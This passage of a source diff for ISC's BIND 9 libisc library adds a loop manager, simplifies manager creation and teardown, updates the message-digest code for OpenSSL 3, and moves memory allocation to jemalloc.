+ * Loop Manager
+ */
+#define LOOPMGR_MAGIC	 ISC_MAGIC('L', 'o', 'o', 'M')
+#define VALID_LOOPMGR(t) ISC_MAGIC_VALID(t, LOOPMGR_MAGIC)
+
+struct isc_loopmgr {
+	int magic;
+	isc_mem_t *mctx;
+
+	uint_fast32_t nloops;
+
+	atomic_bool shuttingdown;
+	atomic_bool running;
+	atomic_bool paused;
+
+	/* signal handling */
+	isc_signal_t *sigint;
+	isc_signal_t *sigterm;
+
+	/* pause/resume */
+	isc_barrier_t pausing;
+	isc_barrier_t resuming;
+
+	/* start/stop */
+	isc_barrier_t starting;
+
+	/* stopping */
+	isc_barrier_t stopping;
+
+	/* per-thread objects */
+	isc_loop_t *loops;
+};
+
+/*
+ * Signal Handler
+ */
+#define SIGNAL_MAGIC	ISC_MAGIC('S', 'I', 'G', ' ')
+#define VALID_SIGNAL(t) ISC_MAGIC_VALID(t, SIGNAL_MAGIC)
+
+struct isc_signal {
+	int magic;
+	uv_signal_t signal;
+	isc_loop_t *loop;
+	isc_signal_cb cb;
+	void *cbarg;
+	int signum;
+};
+
+/*
+ * Job to be scheduled in an event loop
+ */
+#define JOB_MAGIC    ISC_MAGIC('J', 'O', 'B', ' ')
+#define VALID_JOB(t) ISC_MAGIC_VALID(t, JOB_MAGIC)
+
+/*
+ * Work to be offloaded to an external thread.
+ */
+struct isc_work {
+	uv_work_t work;
+	isc_loop_t *loop;
+	isc_work_cb work_cb;
+	isc_after_work_cb after_work_cb;
+	void *cbarg;
+};
+
+#define DEFAULT_LOOP(loopmgr) (&(loopmgr)->loops[0])
+#define CURRENT_LOOP(loopmgr) (&(loopmgr)->loops[isc_tid()])
+#define LOOP(loopmgr, tid)    (&(loopmgr)->loops[tid])
+#define ON_LOOP(loop)	      ((loop) == CURRENT_LOOP((loop)->loopmgr))
diff --git a/lib/isc/managers.c b/lib/isc/managers.c
index f86d4c8485..5471122300 100644
--- a/lib/isc/managers.c
+++ b/lib/isc/managers.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,136 +11,41 @@
  * information regarding copyright ownership.
  */
 
-#include <isc/hp.h>
 #include <isc/managers.h>
+#include <isc/rwlock.h>
 #include <isc/util.h>
+#include <isc/uv.h>
 
-#include "netmgr_p.h"
-#include "socket_p.h"
-#include "task_p.h"
-#include "timer_p.h"
-
-isc_result_t
-isc_managers_create(isc_mem_t *mctx, size_t workers, size_t quantum,
-		    size_t sockets, isc_nm_t **netmgrp,
-		    isc_taskmgr_t **taskmgrp, isc_timermgr_t **timermgrp,
-		    isc_socketmgr_t **socketmgrp) {
-	isc_result_t result;
-	isc_nm_t *netmgr = NULL;
-	isc_socketmgr_t *socketmgr = NULL;
-	isc_taskmgr_t *taskmgr = NULL;
-	isc_timermgr_t *timermgr = NULL;
+void
+isc_managers_create(isc_mem_t **mctxp, uint32_t workers,
+		    isc_loopmgr_t **loopmgrp, isc_nm_t **netmgrp) {
+	REQUIRE(mctxp != NULL && *mctxp == NULL);
+	isc_mem_create(mctxp);
+	INSIST(*mctxp != NULL);
 
-	/*
-	 * We have ncpus network threads, ncpus old network threads - make
-	 * it 4x just to be on the safe side.
-	 */
-	isc_hp_init(4 * workers);
+	REQUIRE(loopmgrp != NULL && *loopmgrp == NULL);
+	isc_loopmgr_create(*mctxp, workers, loopmgrp);
+	INSIST(*loopmgrp != NULL);
 
 	REQUIRE(netmgrp != NULL && *netmgrp == NULL);
-	isc__netmgr_create(mctx, workers, &netmgr);
-	*netmgrp = netmgr;
-	INSIST(netmgr != NULL);
-
-	REQUIRE(taskmgrp == NULL || *taskmgrp == NULL);
-	if (taskmgrp != NULL) {
-		INSIST(netmgr != NULL);
-		result = isc__taskmgr_create(mctx, quantum, netmgr, &taskmgr);
-		if (result != ISC_R_SUCCESS) {
-			UNEXPECTED_ERROR(__FILE__, __LINE__,
-					 "isc_taskmgr_create() failed: %s",
-					 isc_result_totext(result));
-			goto fail;
-		}
-		*taskmgrp = taskmgr;
-	}
+	isc_netmgr_create(*mctxp, *loopmgrp, netmgrp);
+	INSIST(*netmgrp != NULL);
 
-	REQUIRE(timermgrp == NULL || *timermgrp == NULL);
-	if (timermgrp != NULL) {
-		result = isc__timermgr_create(mctx, &timermgr);
-		if (result != ISC_R_SUCCESS) {
-			UNEXPECTED_ERROR(__FILE__, __LINE__,
-					 "isc_timermgr_create() failed: %s",
-					 isc_result_totext(result));
-			goto fail;
-		}
-		*timermgrp = timermgr;
-	}
-
-	REQUIRE(socketmgrp == NULL || *socketmgrp == NULL);
-	if (socketmgrp != NULL) {
-		result = isc__socketmgr_create(mctx, &socketmgr, sockets,
-					       workers);
-		if (result != ISC_R_SUCCESS) {
-			UNEXPECTED_ERROR(__FILE__, __LINE__,
-					 "isc_socketmgr_create() failed: %s",
-					 isc_result_totext(result));
-			goto fail;
-		}
-		*socketmgrp = socketmgr;
-	}
-
-	return (ISC_R_SUCCESS);
-fail:
-	isc_managers_destroy(netmgrp, taskmgrp, timermgrp, socketmgrp);
-
-	return (result);
+	isc_rwlock_setworkers(workers);
 }
 
 void
-isc_managers_destroy(isc_nm_t **netmgrp, isc_taskmgr_t **taskmgrp,
-		     isc_timermgr_t **timermgrp, isc_socketmgr_t **socketmgrp) {
-	/*
-	 * If we have a taskmgr to clean up, then we must also have a netmgr.
-	 */
-	REQUIRE(taskmgrp != NULL || netmgrp == NULL);
+isc_managers_destroy(isc_mem_t **mctxp, isc_loopmgr_t **loopmgrp,
+		     isc_nm_t **netmgrp) {
+	REQUIRE(mctxp != NULL && *mctxp != NULL);
+	REQUIRE(loopmgrp != NULL && *loopmgrp != NULL);
+	REQUIRE(netmgrp != NULL && *netmgrp != NULL);
 
 	/*
 	 * The sequence of operations here is important:
-	 *
-	 * 1. Initiate shutdown of the taskmgr, sending shutdown events to
-	 * all tasks that are not already shutting down.
 	 */
-	if (taskmgrp != NULL) {
-		INSIST(*taskmgrp != NULL);
-		isc__taskmgr_shutdown(*taskmgrp);
-	}
 
-	/*
-	 * 2. Initiate shutdown of the network manager, freeing clients
-	 * and other resources and preventing new connections, but do
-	 * not stop processing of existing events.
-	 */
-	if (netmgrp != NULL) {
-		INSIST(*netmgrp != NULL);
-		isc__netmgr_shutdown(*netmgrp);
-	}
-
-	/*
-	 * 3. Finish destruction of the task manager when all tasks
-	 * have completed.
-	 */
-	if (taskmgrp != NULL) {
-		isc__taskmgr_destroy(taskmgrp);
-	}
-
-	/*
-	 * 4. Finish destruction of the netmgr, and wait until all
-	 * references have been released.
-	 */
-	if (netmgrp != NULL) {
-		isc__netmgr_destroy(netmgrp);
-	}
-
-	/*
-	 * 5. Clean up the remaining managers.
-	 */
-	if (timermgrp != NULL) {
-		INSIST(*timermgrp != NULL);
-		isc__timermgr_destroy(timermgrp);
-	}
-	if (socketmgrp != NULL) {
-		INSIST(*socketmgrp != NULL);
-		isc__socketmgr_destroy(socketmgrp);
-	}
+	isc_netmgr_destroy(netmgrp);
+	isc_loopmgr_destroy(loopmgrp);
+	isc_mem_destroy(mctxp);
 }
diff --git a/lib/isc/md.c b/lib/isc/md.c
index dbe64ac6fe..0587bbaac8 100644
--- a/lib/isc/md.c
+++ b/lib/isc/md.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -29,7 +31,7 @@ isc_md_new(void) {
 
 void
 isc_md_free(isc_md_t *md) {
-	if (ISC_UNLIKELY(md == NULL)) {
+	if (md == NULL) {
 		return;
 	}
 
@@ -45,6 +47,7 @@ isc_md_init(isc_md_t *md, const isc_md_type_t *md_type) {
 	}
 
 	if (EVP_DigestInit_ex(md, md_type, NULL) != 1) {
+		ERR_clear_error();
 		return (ISC_R_CRYPTOFAILURE);
 	}
 
@@ -56,6 +59,7 @@ isc_md_reset(isc_md_t *md) {
 	REQUIRE(md != NULL);
 
 	if (EVP_MD_CTX_reset(md) != 1) {
+		ERR_clear_error();
 		return (ISC_R_CRYPTOFAILURE);
 	}
 
@@ -66,11 +70,12 @@ isc_result_t
 isc_md_update(isc_md_t *md, const unsigned char *buf, const size_t len) {
 	REQUIRE(md != NULL);
 
-	if (ISC_UNLIKELY(buf == NULL || len == 0)) {
+	if (buf == NULL || len == 0) {
 		return (ISC_R_SUCCESS);
 	}
 
 	if (EVP_DigestUpdate(md, buf, len) != 1) {
+		ERR_clear_error();
 		return (ISC_R_CRYPTOFAILURE);
 	}
 
@@ -83,6 +88,7 @@ isc_md_final(isc_md_t *md, unsigned char *digest, unsigned int *digestlen) {
 	REQUIRE(digest != NULL);
 
 	if (EVP_DigestFinal_ex(md, digest, digestlen) != 1) {
+		ERR_clear_error();
 		return (ISC_R_CRYPTOFAILURE);
 	}
 
@@ -93,7 +99,7 @@ const isc_md_type_t *
 isc_md_get_md_type(isc_md_t *md) {
 	REQUIRE(md != NULL);
 
-	return (EVP_MD_CTX_md(md));
+	return (EVP_MD_CTX_get0_md(md));
 }
 
 size_t
@@ -162,12 +168,61 @@ isc_md(const isc_md_type_t *md_type, const unsigned char *buf, const size_t len,
 	return (res);
 }
 
-#define md_register_algorithm(alg) \
-	const isc_md_type_t *isc__md_##alg(void) { return (EVP_##alg()); }
+#ifndef UNIT_TESTING
+const isc_md_type_t *isc__md_md5 = NULL;
+const isc_md_type_t *isc__md_sha1 = NULL;
+const isc_md_type_t *isc__md_sha224 = NULL;
+const isc_md_type_t *isc__md_sha256 = NULL;
+const isc_md_type_t *isc__md_sha384 = NULL;
+const isc_md_type_t *isc__md_sha512 = NULL;
+
+#if OPENSSL_VERSION_NUMBER >= 0x30000000L
+#define md_register_algorithm(alg, algname)                        \
+	{                                                          \
+		REQUIRE(isc__md_##alg == NULL);                    \
+		isc__md_##alg = EVP_MD_fetch(NULL, algname, NULL); \
+		if (isc__md_##alg == NULL) {                       \
+			ERR_clear_error();                         \
+		}                                                  \
+	}
+
+#define md_unregister_algorithm(alg)                                    \
+	{                                                               \
+		if (isc__md_##alg != NULL) {                            \
+			EVP_MD_free(*(isc_md_type_t **)&isc__md_##alg); \
+			isc__md_##alg = NULL;                           \
+		}                                                       \
+	}
+
+#else
+#define md_register_algorithm(alg, algname)  \
+	{                                    \
+		isc__md_##alg = EVP_##alg(); \
+		if (isc__md_##alg == NULL) { \
+			ERR_clear_error();   \
+		}                            \
+	}
+#define md_unregister_algorithm(alg)
+#endif
+
+void
+isc__md_initialize(void) {
+	md_register_algorithm(md5, "MD5");
+	md_register_algorithm(sha1, "SHA1");
+	md_register_algorithm(sha224, "SHA224");
+	md_register_algorithm(sha256, "SHA256");
+	md_register_algorithm(sha384, "SHA384");
+	md_register_algorithm(sha512, "SHA512");
+}
+
+void
+isc__md_shutdown(void) {
+	md_unregister_algorithm(sha512);
+	md_unregister_algorithm(sha384);
+	md_unregister_algorithm(sha256);
+	md_unregister_algorithm(sha224);
+	md_unregister_algorithm(sha1);
+	md_unregister_algorithm(md5);
+}
 
-md_register_algorithm(md5);
-md_register_algorithm(sha1);
-md_register_algorithm(sha224);
-md_register_algorithm(sha256);
-md_register_algorithm(sha384);
-md_register_algorithm(sha512);
+#endif /* UNIT_TESTING */
diff --git a/lib/isc/mem.c b/lib/isc/mem.c
index d129809fa7..bffe2a9e6d 100644
--- a/lib/isc/mem.c
+++ b/lib/isc/mem.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -20,17 +22,18 @@
 #include <stdlib.h>
 
 #include <isc/align.h>
-#include <isc/bind9.h>
 #include <isc/hash.h>
 #include <isc/magic.h>
 #include <isc/mem.h>
 #include <isc/mutex.h>
 #include <isc/once.h>
-#include <isc/print.h>
+#include <isc/os.h>
+#include <isc/overflow.h>
 #include <isc/refcount.h>
 #include <isc/strerr.h>
 #include <isc/string.h>
 #include <isc/types.h>
+#include <isc/urcu.h>
 #include <isc/util.h>
 
 #ifdef HAVE_LIBXML2
@@ -42,34 +45,38 @@
 #include <json_object.h>
 #endif /* HAVE_JSON_C */
 
+/* On DragonFly BSD the header does not provide jemalloc API */
+#if defined(HAVE_MALLOC_NP_H) && !defined(__DragonFly__)
+#include <malloc_np.h>
+#define JEMALLOC_API_SUPPORTED 1
+#elif defined(HAVE_JEMALLOC)
+#include <jemalloc/jemalloc.h>
+#define JEMALLOC_API_SUPPORTED 1
+#else
+#include "jemalloc_shim.h"
+#endif
+
 #include "mem_p.h"
 
 #define MCTXLOCK(m)   LOCK(&m->lock)
 #define MCTXUNLOCK(m) UNLOCK(&m->lock)
-#define MPCTXLOCK(mp)           \
-	if (mp->lock != NULL) { \
-		LOCK(mp->lock); \
-	}
-#define MPCTXUNLOCK(mp)           \
-	if (mp->lock != NULL) {   \
-		UNLOCK(mp->lock); \
-	}
 
 #ifndef ISC_MEM_DEBUGGING
 #define ISC_MEM_DEBUGGING 0
 #endif /* ifndef ISC_MEM_DEBUGGING */
-LIBISC_EXTERNAL_DATA unsigned int isc_mem_debugging = ISC_MEM_DEBUGGING;
-LIBISC_EXTERNAL_DATA unsigned int isc_mem_defaultflags = ISC_MEMFLAG_DEFAULT;
+unsigned int isc_mem_debugging = ISC_MEM_DEBUGGING;
+unsigned int isc_mem_defaultflags = ISC_MEMFLAG_DEFAULT;
+
+#define ISC_MEM_ILLEGAL_ARENA (UINT_MAX)
 
 /*
  * Constants.
  */
 
-#define ALIGNMENT	  8U /*%< must be a power of 2 */
-#define ALIGNMENT_SIZE	  sizeof(size_info)
-#define DEBUG_TABLE_COUNT 512U
-#define STATS_BUCKETS	  512U
-#define STATS_BUCKET_SIZE 32U
+#define ZERO_ALLOCATION_SIZE sizeof(void *)
+#define ALIGNMENT	     8U /*%< must be a power of 2 */
+#define ALIGNMENT_SIZE	     sizeof(size_info)
+#define DEBUG_TABLE_COUNT    512U
 
 /*
  * Types.
@@ -98,18 +105,6 @@ struct element {
 	element *next;
 };
 
-typedef struct {
-	alignas(ALIGNMENT) union {
-		size_t size;
-		isc_mem_t *ctx;
-	};
-} size_info;
-
-struct stats {
-	atomic_size_t gets;
-	atomic_size_t totalgets;
-};
-
 #define MEM_MAGIC	 ISC_MAGIC('M', 'e', 'm', 'C')
 #define VALID_CONTEXT(c) ISC_MAGIC_VALID(c, MEM_MAGIC)
 
@@ -121,31 +116,23 @@ static isc_once_t init_once = ISC_ONCE_INIT;
 static isc_once_t shut_once = ISC_ONCE_INIT;
 static isc_mutex_t contextslock;
 
-/*%
- * Total size of lost memory due to a bug of external library.
- * Locked by the global lock.
- */
-static uint64_t totallost;
-
 struct isc_mem {
 	unsigned int magic;
 	unsigned int flags;
+	unsigned int jemalloc_flags;
+	unsigned int jemalloc_arena;
+	unsigned int debugging;
 	isc_mutex_t lock;
 	bool checkfree;
-	struct stats stats[STATS_BUCKETS + 1];
 	isc_refcount_t references;
 	char name[16];
-	atomic_size_t total;
 	atomic_size_t inuse;
-	atomic_size_t maxinuse;
-	atomic_size_t malloced;
-	atomic_size_t maxmalloced;
-	atomic_size_t hi_water;
-	atomic_size_t lo_water;
 	atomic_bool hi_called;
 	atomic_bool is_overmem;
 	isc_mem_water_t water;
 	void *water_arg;
+	atomic_size_t hi_water;
+	atomic_size_t lo_water;
 	ISC_LIST(isc_mempool_t) pools;
 	unsigned int poolcnt;
 
@@ -163,22 +150,18 @@ struct isc_mem {
 struct isc_mempool {
 	/* always unlocked */
 	unsigned int magic;
-	isc_mutex_t *lock; /*%< optional lock */
-	isc_mem_t *mctx;   /*%< our memory context */
-	/*%< locked via the memory context's lock */
+	isc_mem_t *mctx;	      /*%< our memory context */
 	ISC_LINK(isc_mempool_t) link; /*%< next pool in this mem context */
-	/*%< optionally locked from here down */
-	element *items;		 /*%< low water item list */
-	size_t size;		 /*%< size of each item on this pool */
-	atomic_size_t maxalloc;	 /*%< max number of items allowed */
-	atomic_size_t allocated; /*%< # of items currently given out */
-	atomic_size_t freecount; /*%< # of items on reserved list */
-	atomic_size_t freemax;	 /*%< # of items allowed on free list */
-	atomic_size_t fillcount; /*%< # of items to fetch on each fill */
+	element *items;		      /*%< low water item list */
+	size_t size;		      /*%< size of each item on this pool */
+	size_t allocated;	      /*%< # of items currently given out */
+	size_t freecount;	      /*%< # of items on reserved list */
+	size_t freemax;		      /*%< # of items allowed on free list */
+	size_t fillcount;	      /*%< # of items to fetch on each fill */
 	/*%< Stats only. */
-	atomic_size_t gets; /*%< # of requests to this pool */
-			    /*%< Debugging only. */
-	char name[16];	    /*%< printed name in stats reports */
+	size_t gets; /*%< # of requests to this pool */
+	/*%< Debugging only. */
+	char name[16]; /*%< printed name in stats reports */
 };
 
 /*
@@ -186,62 +169,42 @@ struct isc_mempool {
  */
 
 #if !ISC_MEM_TRACKLINES
-#define ADD_TRACE(a, b, c, d, e)
-#define DELETE_TRACE(a, b, c, d, e)
+#define ADD_TRACE(mctx, ptr, size, file, line)
+#define DELETE_TRACE(mctx, ptr, size, file, line)
 #define ISC_MEMFUNC_SCOPE
 #else /* if !ISC_MEM_TRACKLINES */
 #define TRACE_OR_RECORD (ISC_MEM_DEBUGTRACE | ISC_MEM_DEBUGRECORD)
 
-#define SHOULD_TRACE_OR_RECORD(ptr)                                  \
-	(ISC_UNLIKELY((isc_mem_debugging & TRACE_OR_RECORD) != 0) && \
-	 ptr != NULL)
+#define SHOULD_TRACE_OR_RECORD(mctx, ptr) \
+	(((mctx)->debugging & TRACE_OR_RECORD) != 0 && ptr != NULL)
 
-#define ADD_TRACE(a, b, c, d, e)                \
-	if (SHOULD_TRACE_OR_RECORD(b)) {        \
-		add_trace_entry(a, b, c, d, e); \
+#define ADD_TRACE(mctx, ptr, size, file, line)                \
+	if (SHOULD_TRACE_OR_RECORD(mctx, ptr)) {              \
+		add_trace_entry(mctx, ptr, size, file, line); \
 	}
 
-#define DELETE_TRACE(a, b, c, d, e)                \
-	if (SHOULD_TRACE_OR_RECORD(b)) {           \
-		delete_trace_entry(a, b, c, d, e); \
+#define DELETE_TRACE(mctx, ptr, size, file, line)                \
+	if (SHOULD_TRACE_OR_RECORD(mctx, ptr)) {                 \
+		delete_trace_entry(mctx, ptr, size, file, line); \
 	}
 
 static void
 print_active(isc_mem_t *ctx, FILE *out);
 #endif /* ISC_MEM_TRACKLINES */
 
-static inline size_t
-increment_malloced(isc_mem_t *ctx, size_t size) {
-	size_t malloced = atomic_fetch_add_relaxed(&ctx->malloced, size) + size;
-	size_t maxmalloced = atomic_load_acquire(&ctx->maxmalloced);
-	if (malloced > maxmalloced) {
-		atomic_compare_exchange_strong(&ctx->maxmalloced, &maxmalloced,
-					       malloced);
-	}
-
-	return (malloced);
-}
-
-static inline size_t
-decrement_malloced(isc_mem_t *ctx, size_t size) {
-	size_t malloced = atomic_fetch_sub_release(&ctx->malloced, size) - size;
-
-	return (malloced);
-}
-
 #if ISC_MEM_TRACKLINES
 /*!
  * mctx must not be locked.
  */
 static void
 add_trace_entry(isc_mem_t *mctx, const void *ptr, size_t size FLARG) {
-	debuglink_t *dl;
+	debuglink_t *dl = NULL;
 	uint32_t hash;
 	uint32_t idx;
 
 	MCTXLOCK(mctx);
 
-	if ((isc_mem_debugging & ISC_MEM_DEBUGTRACE) != 0) {
+	if ((mctx->debugging & ISC_MEM_DEBUGTRACE) != 0) {
 		fprintf(stderr, "add %p size %zu file %s line %u mctx %p\n",
 			ptr, size, file, line, mctx);
 	}
@@ -261,9 +224,8 @@ add_trace_entry(isc_mem_t *mctx, const void *ptr, size_t size FLARG) {
 #endif
 	idx = hash % DEBUG_TABLE_COUNT;
 
-	dl = malloc(sizeof(debuglink_t));
+	dl = mallocx(sizeof(debuglink_t), mctx->jemalloc_flags);
 	INSIST(dl != NULL);
-	increment_malloced(mctx, sizeof(debuglink_t));
 
 	ISC_LINK_INIT(dl, link);
 	dl->ptr = ptr;
@@ -280,13 +242,13 @@ add_trace_entry(isc_mem_t *mctx, const void *ptr, size_t size FLARG) {
 static void
 delete_trace_entry(isc_mem_t *mctx, const void *ptr, size_t size,
 		   const char *file, unsigned int line) {
-	debuglink_t *dl;
+	debuglink_t *dl = NULL;
 	uint32_t hash;
 	uint32_t idx;
 
 	MCTXLOCK(mctx);
 
-	if ((isc_mem_debugging & ISC_MEM_DEBUGTRACE) != 0) {
+	if ((mctx->debugging & ISC_MEM_DEBUGTRACE) != 0) {
 		fprintf(stderr, "del %p size %zu file %s line %u mctx %p\n",
 			ptr, size, file, line, mctx);
 	}
@@ -307,11 +269,10 @@ delete_trace_entry(isc_mem_t *mctx, const void *ptr, size_t size,
 	idx = hash % DEBUG_TABLE_COUNT;
 
 	dl = ISC_LIST_HEAD(mctx->debuglist[idx]);
-	while (ISC_LIKELY(dl != NULL)) {
-		if (ISC_UNLIKELY(dl->ptr == ptr)) {
+	while (dl != NULL) {
+		if (dl->ptr == ptr) {
 			ISC_LIST_UNLINK(mctx->debuglist[idx], dl, link);
-			decrement_malloced(mctx, sizeof(*dl));
-			free(dl);
+			sdallocx(dl, sizeof(*dl), mctx->jemalloc_flags);
 			goto unlock;
 		}
 		dl = ISC_LIST_NEXT(dl, link);
@@ -321,31 +282,33 @@ delete_trace_entry(isc_mem_t *mctx, const void *ptr, size_t size,
 	 * If we get here, we didn't find the item on the list.  We're
 	 * screwed.
 	 */
-	INSIST(0);
-	ISC_UNREACHABLE();
+	UNREACHABLE();
 unlock:
 	MCTXUNLOCK(mctx);
 }
 #endif /* ISC_MEM_TRACKLINES */
 
-static void *
-default_memalloc(size_t size);
-static void
-default_memfree(void *ptr);
+#define ADJUST_ZERO_ALLOCATION_SIZE(s)    \
+	if (s == 0) {                     \
+		s = ZERO_ALLOCATION_SIZE; \
+	}
 
 /*!
  * Perform a malloc, doing memory filling and overrun detection as necessary.
  */
-static inline void *
-mem_get(isc_mem_t *ctx, size_t size) {
-	char *ret;
+static void *
+mem_get(isc_mem_t *ctx, size_t size, int flags) {
+	char *ret = NULL;
 
-	ret = default_memalloc(size);
+	ADJUST_ZERO_ALLOCATION_SIZE(size);
 
-	if (ISC_UNLIKELY((ctx->flags & ISC_MEMFLAG_FILL) != 0)) {
-		if (ISC_LIKELY(ret != NULL)) {
-			memset(ret, 0xbe, size); /* Mnemonic for "beef". */
-		}
+	ret = mallocx(size, flags | ctx->jemalloc_flags);
+	INSIST(ret != NULL);
+
+	if ((flags & ISC__MEM_ZERO) == 0 &&
+	    (ctx->flags & ISC_MEMFLAG_FILL) != 0)
+	{
+		memset(ret, 0xbe, size); /* Mnemonic for "beef". */
 	}
 
 	return (ret);
@@ -355,12 +318,38 @@ mem_get(isc_mem_t *ctx, size_t size) {
  * Perform a free, doing memory filling and overrun detection as necessary.
  */
 /* coverity[+free : arg-1] */
-static inline void
-mem_put(isc_mem_t *ctx, void *mem, size_t size) {
-	if (ISC_UNLIKELY((ctx->flags & ISC_MEMFLAG_FILL) != 0)) {
+static void
+mem_put(isc_mem_t *ctx, void *mem, size_t size, int flags) {
+	ADJUST_ZERO_ALLOCATION_SIZE(size);
+
+	if ((ctx->flags & ISC_MEMFLAG_FILL) != 0) {
 		memset(mem, 0xde, size); /* Mnemonic for "dead". */
 	}
-	default_memfree(mem);
+	sdallocx(mem, size, flags | ctx->jemalloc_flags);
+}
+
+static void *
+mem_realloc(isc_mem_t *ctx, void *old_ptr, size_t old_size, size_t new_size,
+	    int flags) {
+	void *new_ptr = NULL;
+
+	ADJUST_ZERO_ALLOCATION_SIZE(new_size);
+
+	new_ptr = rallocx(old_ptr, new_size, flags | ctx->jemalloc_flags);
+	INSIST(new_ptr != NULL);
+
+	if ((flags & ISC__MEM_ZERO) == 0 &&
+	    (ctx->flags & ISC_MEMFLAG_FILL) != 0)
+	{
+		ssize_t diff_size = new_size - old_size;
+		void *diff_ptr = (uint8_t *)new_ptr + old_size;
+		if (diff_size > 0) {
+			/* Mnemonic for "beef". */
+			memset(diff_ptr, 0xbe, diff_size);
+		}
+	}
+
+	return (new_ptr);
 }
 
 #define stats_bucket(ctx, size)                      \
@@ -371,85 +360,82 @@ mem_put(isc_mem_t *ctx, void *mem, size_t size) {
 /*!
  * Update internal counters after a memory get.
  */
-static inline void
+static void
 mem_getstats(isc_mem_t *ctx, size_t size) {
-	struct stats *stats = stats_bucket(ctx, size);
-
-	atomic_fetch_add_relaxed(&ctx->total, size);
-	atomic_fetch_add_release(&ctx->inuse, size);
-
-	atomic_fetch_add_relaxed(&stats->gets, 1);
-	atomic_fetch_add_relaxed(&stats->totalgets, 1);
-
-	increment_malloced(ctx, size);
+	atomic_fetch_add_relaxed(&ctx->inuse, size);
 }
 
 /*!
  * Update internal counters after a memory put.
  */
-static inline void
-mem_putstats(isc_mem_t *ctx, void *ptr, size_t size) {
-	struct stats *stats = stats_bucket(ctx, size);
-
-	UNUSED(ptr);
-
-	INSIST(atomic_fetch_sub_release(&ctx->inuse, size) >= size);
-
-	INSIST(atomic_fetch_sub_release(&stats->gets, 1) >= 1);
-
-	decrement_malloced(ctx, size);
+static void
+mem_putstats(isc_mem_t *ctx, size_t size) {
+	atomic_size_t s = atomic_fetch_sub_relaxed(&ctx->inuse, size);
+	INSIST(s >= size);
 }
 
 /*
  * Private.
  */
 
-static void *
-default_memalloc(size_t size) {
-	void *ptr;
+static bool
+mem_jemalloc_arena_create(unsigned int *pnew_arenano) {
+	REQUIRE(pnew_arenano != NULL);
 
-	ptr = malloc(size);
+#ifdef JEMALLOC_API_SUPPORTED
+	unsigned int arenano = 0;
+	size_t len = sizeof(arenano);
+	int res = 0;
 
-	/*
-	 * If the space cannot be allocated, a null pointer is returned. If the
-	 * size of the space requested is zero, the behavior is
-	 * implementation-defined: either a null pointer is returned, or the
-	 * behavior is as if the size were some nonzero value, except that the
-	 * returned pointer shall not be used to access an object.
-	 * [ISO9899 § 7.22.3]
-	 *
-	 * [ISO9899]
-	 *   ISO/IEC WG 9899:2011: Programming languages - C.
-	 *   International Organization for Standardization, Geneva,
-	 * Switzerland.
-	 *   http://www.open-std.org/JTC1/SC22/WG14/www/docs/n1570.pdf
-	 */
-
-	if (ptr == NULL && size != 0) {
-		char strbuf[ISC_STRERRORSIZE];
-		strerror_r(errno, strbuf, sizeof(strbuf));
-		isc_error_fatal(__FILE__, __LINE__, "malloc failed: %s",
-				strbuf);
+	res = mallctl("arenas.create", &arenano, &len, NULL, 0);
+	if (res != 0) {
+		return (false);
 	}
 
-	return (ptr);
+	*pnew_arenano = arenano;
+
+	return (true);
+#else
+	*pnew_arenano = ISC_MEM_ILLEGAL_ARENA;
+	return (true);
+#endif /* JEMALLOC_API_SUPPORTED */
 }
 
-static void
-default_memfree(void *ptr) {
-	free(ptr);
+static bool
+mem_jemalloc_arena_destroy(unsigned int arenano) {
+#ifdef JEMALLOC_API_SUPPORTED
+	int res = 0;
+	char buf[256] = { 0 };
+
+	(void)snprintf(buf, sizeof(buf), "arena.%u.destroy", arenano);
+	res = mallctl(buf, NULL, NULL, NULL, 0);
+	if (res != 0) {
+		return (false);
+	}
+
+	return (true);
+#else
+	UNUSED(arenano);
+	return (true);
+#endif /* JEMALLOC_API_SUPPORTED */
 }
 
 static void
 mem_initialize(void) {
+/*
+ * Check if the values copied from jemalloc still match
+ */
+#ifdef JEMALLOC_API_SUPPORTED
+	RUNTIME_CHECK(ISC__MEM_ZERO == MALLOCX_ZERO);
+#endif /* JEMALLOC_API_SUPPORTED */
+
 	isc_mutex_init(&contextslock);
 	ISC_LIST_INIT(contexts);
-	totallost = 0;
 }
 
 void
 isc__mem_initialize(void) {
-	RUNTIME_CHECK(isc_once_do(&init_once, mem_initialize) == ISC_R_SUCCESS);
+	isc_once_do(&init_once, mem_initialize);
 }
 
 static void
@@ -461,58 +447,51 @@ mem_shutdown(void) {
 
 void
 isc__mem_shutdown(void) {
-	RUNTIME_CHECK(isc_once_do(&shut_once, mem_shutdown) == ISC_R_SUCCESS);
+	isc_once_do(&shut_once, mem_shutdown);
 }
 
 static void
-mem_create(isc_mem_t **ctxp, unsigned int flags) {
-	REQUIRE(ctxp != NULL && *ctxp == NULL);
-
-	isc_mem_t *ctx;
+mem_create(isc_mem_t **ctxp, unsigned int debugging, unsigned int flags,
+	   unsigned int jemalloc_flags) {
+	isc_mem_t *ctx = NULL;
 
-	STATIC_ASSERT((ALIGNMENT_SIZE & (ALIGNMENT_SIZE - 1)) == 0,
-		      "alignment size not power of 2");
-	STATIC_ASSERT(ALIGNMENT_SIZE >= sizeof(size_info),
-		      "alignment size too small");
+	REQUIRE(ctxp != NULL && *ctxp == NULL);
 
-	ctx = default_memalloc(sizeof(*ctx));
+	ctx = mallocx(sizeof(*ctx), jemalloc_flags);
+	INSIST(ctx != NULL);
 
 	*ctx = (isc_mem_t){
 		.magic = MEM_MAGIC,
+		.debugging = debugging,
 		.flags = flags,
+		.jemalloc_flags = jemalloc_flags,
+		.jemalloc_arena = ISC_MEM_ILLEGAL_ARENA,
 		.checkfree = true,
 	};
 
 	isc_mutex_init(&ctx->lock);
 	isc_refcount_init(&ctx->references, 1);
 
-	atomic_init(&ctx->total, 0);
